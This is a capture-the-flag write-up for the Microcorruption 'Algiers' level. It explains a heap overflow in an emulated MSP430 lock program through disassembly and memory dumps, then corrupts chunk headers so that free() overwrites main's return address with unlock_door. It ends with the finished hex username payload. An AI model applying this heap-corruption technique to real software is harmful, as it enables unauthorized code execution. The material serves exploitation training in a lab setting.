Microcorruption UAF Exploitation - Algiers

Microcorruption UAF Exploitation - Algiers

Microcorruption - Algiers

This level involves Use after free(UAF)/Heap exploitation

The only thing main is doing is calling the login function, which ends up saving its return address (0x4440) which we’ll use later on. This value is stored at 0x439a

4438 <main>
4438:  3150 9cff      add	#0xff9c, sp
443c:  b012 3a46      call	#0x463a <login>
4440 <__stop_progExec__>
4440:  32d0 f000      bis	#0xf0, sr
4444:  fd3f           jmp	#0x4440 <__stop_progExec__+0x0>
Live Memory Dump

0000:   0000 4400 0000 0000 0000 0000 0000 0000   ..D.............
0010:   *
0150:   0000 0000 0000 0000 0000 0000 085a 0000   .............Z..
0160:   *
2400:   0824 0010 0100 0000 0000 0000 0000 0000   .$..............
2410:   *
4390:   0000 0000 0000 0000 0000 4044 0000 0000   ..........@D....
                                  ^

The login function looks like this:

463a <login>
463a:  0b12           push	r11
463c:  0a12           push	r10
463e:  3f40 1000      mov	#0x10, r15
4642:  b012 6444      call	#0x4464 <malloc>
4646:  0a4f           mov	r15, r10
4648:  3f40 1000      mov	#0x10, r15
464c:  b012 6444      call	#0x4464 <malloc>
4650:  0b4f           mov	r15, r11
4652:  3f40 9a45      mov	#0x459a, r15
4656:  b012 1a47      call	#0x471a <puts>
465a:  3f40 c845      mov	#0x45c8, r15
465e:  b012 1a47      call	#0x471a <puts>
4662:  3e40 3000      mov	#0x30, r14
4666:  0f4a           mov	r10, r15
4668:  b012 0a47      call	#0x470a <getsn>
466c:  3f40 c845      mov	#0x45c8, r15
4670:  b012 1a47      call	#0x471a <puts>
4674:  3f40 d445      mov	#0x45d4, r15
4678:  b012 1a47      call	#0x471a <puts>
467c:  3e40 3000      mov	#0x30, r14
4680:  0f4b           mov	r11, r15
4682:  b012 0a47      call	#0x470a <getsn>
4686:  0f4b           mov	r11, r15
4688:  b012 7045      call	#0x4570 <test_password_valid>
468c:  0f93           tst	r15
468e:  0524           jz	#0x469a <login+0x60>
4690:  b012 6445      call	#0x4564 <unlock_door>
4694:  3f40 0b46      mov	#0x460b, r15
4698:  023c           jmp	#0x469e <login+0x64>
469a:  3f40 1b46      mov	#0x461b, r15
469e:  b012 1a47      call	#0x471a <puts>
46a2:  0f4b           mov	r11, r15
46a4:  b012 0845      call	#0x4508 <free>
46a8:  0f4a           mov	r10, r15
46aa:  b012 0845      call	#0x4508 <free>
46ae:  3a41           pop	r10
46b0:  3b41           pop	r11
46b2:  3041           ret

We can see that it’s malloc’ing 0x10 bytes but gets’ing 0x30 bytes, so what can we do with this? The first thing we should try is to corrupt the heap structure somehow, but first we need to take a look at how it’s implemented.

The program also tells us that both the username and password must be between 8 and 16 characters each. So let’s try the following:

  • username: AAAAAAAA
  • password: BBBBBBBB

After entering these values we can take a look at the memory dump:


Live Memory Dump

2400:   0824 0010 0000 0000 0824 1e24 2100 4141   .$.......$.$!.AA
2410:   4141 4141 4141 0000 0000 0000 0000 0824   AAAAAA.........$
                                  prev chunk ^ 
2420:   3424 2100 4242 4242 4242 4242 0000 0000   4$!.BBBBBBBB....
2430:   0000 0000 1e24 0824 9c1f 0000 0000 0000   .....$.$........

So it seems that the heap starts at 2408 and it uses a 6 byte header made of:

  • 2 bytes for the address of the previous chunk
  • 2 bytes for the address of next chunk
  • 2 bytes for the size of the chunk
  • the third field of the header where we save the size of the chunk is actually saving the value of: 2 * sizeof the chunk + the last bit set to indicate that the chunk is being used
  • So in this case since we used malloc(0x10) the total size is 0x20 + 0x1 = 0x21
  • Same thing happens for the second chunk, size is stored at 2422

Here we have 2 chunks, one for the username and other for password

So at 2408 we see that value 2408(stored as 0824 due to the endianness) meaning the previous chunk is 2408 itself as this is the first chunk of the heap

Then, at 240a we have the value 241e which shows us the start of the next chunk containing the password buffer made of the 42’s (B’s) that we typed earlier.

To summarize:

  • We have two chunks in the heap, starting at 2408
  • each chunk is made of a 6-byte header containing the address of the previous chunk, the address of the next chunk and its size
  • in this case each chunk contains the 6 byte header plus 0x10 bytes for the buffer allocated with malloc(0x10)

We can already see that malloc(0x10) is actually using more bytes than just 0x10.

The second chunk (the one with the supplied password) starts at 241e right after the username buffer.

Our goal is to overflow the heap header of the second chunk starting at 0x241e with a username larger than 0x10 so that when free() kicks in it will overwrite an address with a value of our choice

So we use the username buffer of the first chunk to overflow the second chunk header so that we can have a ‘write what to where’ condition.

The free function:

508 <free>
4508:  0b12           push	r11
450a:  3f50 faff      add	#0xfffa, r15
450e:  1d4f 0400      mov	0x4(r15), r13
4512:  3df0 feff      and	#0xfffe, r13
4516:  8f4d 0400      mov	r13, 0x4(r15)
451a:  2e4f           mov	@r15, r14
451c:  1c4e 0400      mov	0x4(r14), r12
4520:  1cb3           bit	#0x1, r12
4522:  0d20           jnz	#0x453e <free+0x36>
4524:  3c50 0600      add	#0x6, r12
4528:  0c5d           add	r13, r12
452a:  8e4c 0400      mov	r12, 0x4(r14)
452e:  9e4f 0200 0200 mov	0x2(r15), 0x2(r14)
4534:  1d4f 0200      mov	0x2(r15), r13
4538:  8d4e 0000      mov	r14, 0x0(r13)
453c:  2f4f           mov	@r15, r15
453e:  1e4f 0200      mov	0x2(r15), r14
4542:  1d4e 0400      mov	0x4(r14), r13
4546:  1db3           bit	#0x1, r13
4548:  0b20           jnz	#0x4560 <free+0x58>
454a:  1d5f 0400      add	0x4(r15), r13
454e:  3d50 0600      add	#0x6, r13
4552:  8f4d 0400      mov	r13, 0x4(r15)
4556:  9f4e 0200 0200 mov	0x2(r14), 0x2(r15)
455c:  8e4f 0000      mov	r15, 0x0(r14)
4560:  3b41           pop	r11
4562:  3041           ret

Exploiting the heap

So let’s try using a username long enough to overflow the second chunk’s header:

  • Username: A * 16 + BB + CC + DD
  • Password: doesn’t really matter, I’ll just use 0x4949

This gives that following memory dump

Live Memory Dump

0000:   0000 4400 0000 0000 0000 0000 0000 0000   ..D.............
0010:   3041 0000 0000 0000 0000 0000 0000 0000   0A..............
0020:   *
0150:   0000 0000 0000 0000 0000 0000 085a 0000   .............Z..
0160:   *
2400:   0824 0010 0000 0000 0824 1e24 2100 4141   .$.......$.$!.AA
2410:   4141 4141 4141 4141 4141 4141 4141 4242   AAAAAAAAAAAAAABB
2420:   4343 4444 4949 0000 0000 0000 0000 0000   CCDDII..........
2430:   0000 0000 1e24 0824 9c1f 0000 0000 0000   .....$.$........

So the 6-byte header of the second chunk is overwritten with BBCCDD, stepping through the first lines of the free function, we see that a value is written to BB+4. Well, we want to overwrite main’s return address which is at 439a, so we should set BB to be 439a - 4 = 4396.

So whenever BB = 0x4396 free() will overwrite main’s return address with a particular value.

So far we have:

  • Username = A*16 + 0x4396 + CC + DD

Now how do we figure out the values of CC and DD so that we can successfully change the flow of execution so that main() returns to an address of our choice?

If you look closely at free(), the value at our target address 0x439a is 4440(this is where main will return to) is being added to 6 and to DD.

So basically main’s return value is overwritten with:

0x4440 (which it its original value) + 0x6 + DD

We need this sum to be equal to the address of the unlock_door function at 4564, so we can solve for DD:

0x4440 + 0x6 + DD = 4564 DD = 0x11e

Updating our username, now we have:

  • Username = A * 16 + 0x4396 + CC + 0x11e

Note:

If we just use this username as it is, it will overwrite our target value with the address of the unlock_door function. This happens at

452a:  8e4c 0400      mov	r12, 0x4(r14)

where r12 contains the result of our sum, and 0x4(r14) is our BB+4, namely 439a which contains the value of the return address of main. However, you will get a load address unaligned: 4343 warning due to the following line:

4538:  8d4e 0000      mov	r14, 0x0(r13)

at this point r14 = 4396 (i.e 439a - 4), and r13 = 4343 which is CC. So CC is not a valid address for this. What value can we choose? Let’s take a look at the memory dump again:

Live Memory Dump

2400:   0824 0010 0000 0000 0824 1e24 2100 4141   .$.......$.$!.AA
2410:   4141 4141 4141 4141 4141 4141 4141 9643   AAAAAAAAAAAAAA.C
2420:   4343 1e01 4949 0000 0000 0000 0000 0000   CC..II..........
2430:   0000 0000 1e24 0824 9c1f 0000 0000 0000   .....$.$........
2440:   *
4380:   0000 0000 ca46 0100 ca46 0300 3e47 0000   .....F...F..>G..
4390:   0a00 2424 a846 0000 4343 6445 0000 0000   ..$$.F..CCdE....
43a0:   *
4400:   3140 0044 1542 5c01 75f3 35d0 085a 3f40   1@.D.B\.u.5..Z?@
4410:   0600 0f93 0724 8245 5c01 2f83 9f4f 4847   .....$.E\./..OHG
4420:   0024 f923 3f40 0000 0f93 0624 8245 5c0

From what I tested both 4410 and 4420 are valid values for CC. Now we just put the pieces together

Solution

  • Username: A * 16 + 0x4396 + 4420 + 0x11e
  • Username = 41414141414141414141414141414141964320441e01 or
  • Username = 41414141414141414141414141414141964310441e01